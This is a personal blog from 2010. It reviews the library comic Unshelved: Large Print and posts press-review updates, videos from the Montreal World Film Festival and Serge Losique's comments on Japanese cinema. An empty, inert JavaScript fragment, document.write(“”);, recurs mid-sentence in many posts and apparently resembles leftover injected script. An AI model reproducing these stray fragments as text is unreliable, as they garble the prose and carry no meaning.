A clever and intellectually challenging tv drama. It is quite promising. I can’t wait for more. It is already available on DVD in the UK and the North American release will be in November. It would also be a good occasion to read (or re-read or read about) the original stories.

Revue de Presse / Press Review (2010/09/23)

Personal update: So many stuff to do and so little time! Feeling a little better, document.write(“”); but still tired as always. Now that automn is here it really starts feeling cold. It’s sure time to uninstall the air conditioning. Just finished watching Shogun again and spent some time yesterday reading the latest news:
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Unshelved #8: Large Print

Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce”
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“What do you get when you mix adults, teenagers, children, babies, seniors, professionals, parents, teachers, students, homeschoolers, and the homeless? That very funniest of places, your local public library, home of the hugely popular Web comic Unshelved.” [texts from the back cover]

Everything in this comic is eerily familiar: it tells the daily life of the staff from a dysfunctional library. Large Print is the eighth yearly compilation of Unshelved, a daily online comic strip originally published on the Unshelved website from February 16, 2009 to April 26, 2010, and ALA CogNotes newspapers in June 2009 and January 2010 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous volumes in the blog entries “Unshelved” and “Unshelved #7: Reader’s Advisory”. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

This volume is noticeably more hillarious than the previous one. Everyone will laugh at the funny and often absurd situations happening in the Mallville public library. I am probably laughing even harder because I recognize myself a lot in there, since I experienced first-hand many of those situations. It’s written by a real-life librarian and it shows. Of course, the art is a little crude and cartoony, but —as I often say— it’s the story that counts.

This volume has something new: it has a few comments from the writers underneath the strips. It’s interesting to read and I would have liked to have more of those. Also, this time the book is in a smaller format and in b&w only. However, since part of the book deals with how the library is coping with the recession, I think this downsizing is befitting the story. Large Print is compiling 313 daily strips (mostly in their original publishing order), 16 “Library Tips”, and 9 ALA “Conference Tips”. Unfortunately, the color “Book Club” pages (where the authors illustrate book recommendations) are absent and I am quite disappointed with this (however you can still read them online). But I guess it was necessary if they wanted the book to be only in b&w. All in all, Large Print offers a good laugh, particularly if you have ever spent some time in a public library. Highly recommended.

One of my favourite strips (from 2009/10/26):
My top 25 strips (in the order they appear in the book): 2009/03/02, 2009/03/07, 2009/03/25, 2009/04/01, 2009/04/13, 2009/05/02, 2009/05/12, 2009/06/09, 2009/06/06, 2009/07/17, 2009/07/22, 2009/08/05, 2009/10/26, 2009/10/17, 2009/10/06, 2009/10/08, 2009/10/19, 2009/12/08, 2009/12/29, 2009/12/31, 2010/03/03, 2010/03/22, 2010/04/01, 2010/04/22, and 2010/04/20.

Unshelved Vol. 8: Large Print, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2010. 21.8 x 17 cm, 128 pgs., $11.95 US / $14.95 CDN. ISBN-13: 978-09740353-7-6.

Unshelved: Large Print © 2009 & 2010 Overdue Media LLC. All rights reserved.

P.S.: I pre-ordered this book via amazon.ca in january 2010. It was due to be released in mid-July, but it was only delivered in mid-September even if it had been available through the publisher’s web site since july… Go figure! It is also disappointing that this book is not available at all through my local libraries network (where I work)!

Revue de Presse / Press Review (2010/09/16)

Personal update: We started feeling that automn is getting close as the temperature has sharply dropped around 12’C. I’ve got my schedule for the new season and its nothing to get excited about: twenty hours over four days that I will complete with ponctual replacements. Unfortunately, document.write(“”); in order to reach a thirty-five-hour week I’ll have to work six days, like this week. So today is my only day off of the week. I have to cram all the house chores, as well as the blog updates, in this one day and still find time to rest and relax while reading and watching tv (my wife and I recently finished watching Upstairs, Downstairs and just started watching Shogun again)! I’ll try not to work six days a week too often (if I want to stay healthy and sane). Strangely, there was lots of interesting news this week:
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Villain / Akunin (video)

Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
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Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
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Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
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Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Caterpillar and Torocco (video)

Here are the screening presentation of the movies Caterpillar (Le Soldiat-Dieu) and Torocco (Rail Truck) at the 2010 Montreal World Film Festival. I am not a pro videographer, document.write(“”); so these video are rather shaky rough cuts with limited editing. Note that the Caterpillar video is only in French.
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Caterpillar [
Vimeo ] [ YouTube ]


Torocco [ Vimeo ] [ YouTube ]

Revue de Presse / Press Review (2010/09/06)

Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
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Anime & Manga related, Japan, Popular Culture

Apple & iPad news


Books, Digital Edition & Library

Economy, Environment & International Politics/News

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Clip: Losique sur le cinema japonais

À la conférence de presse dévoilant la programmation 2010 du Festival des Films du Monde tenue le 10 août dernier, document.write(“”); le président du festival, Serge Logique, a fait quelques commentaires sur le cinéma Japonais. Ce n’est pas la première fois qu’il exprime ainsi une attention particulière au cinéma Japonais (quoiqu’il y a quelques années, c’était dans le cadre d’un “Focus sur le cinéma Japonais”) ce qui démontre qu’il l’apprécie et s’y intéresse beaucoup.
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Il déplore que le cinéma Japonais ne soit malheureusement pas très présent ni bien connu en Amérique du Nord et que c’est la tâche des journalistes de le faire découvrir et apprécier du grand public. Il rappelle que le Japon nous a donner de nombreux grands réalisateurs et que, après quelques décennies de vaches maigres, le cinéma Japonais est revenu en grande force. Il explique que le cinéma Japonais a toujours été très présent au Festival des Films du Monde parce que les producteurs Japonais le considère comme un tremplin vers le marché international.

Vous pouvez visionner la conférence de presse présentant la programmation 2010 du FFM dans sa quasi-totalité sur Vimeo.

Losique sur le cinema Japonais from clodjee; on Vimeo.
At the press conference unveiling the Montreal World Film Festival 2010 programming, which was held on August 10th, Serge Losique, the director of the festival, made some comments on the Japanese cinema. It is not the first time that he express such a particular interest for this cinema (although a few years ago he did it while the festival was presenting a special “focus” on the Japanese cinema) which seems to demonstrate that he is quite fond of it.

He laments that Japanese cinema is unfortunately not very present nor known in North America, and that it is up to the journalists to introduce it to movie goers and make them appreciate it. He recalls that Japan gave us many great directors and that, following several decades of lean times, Japanese cinema is coming back with great strengths. He points out that it has always had an important place at the Montreal World Film Festival because Japanese producers see the festival as a stepping stone toward the international market.

You can watch the MWFF 2010 programming press conference in almost its entirety on Vimeo.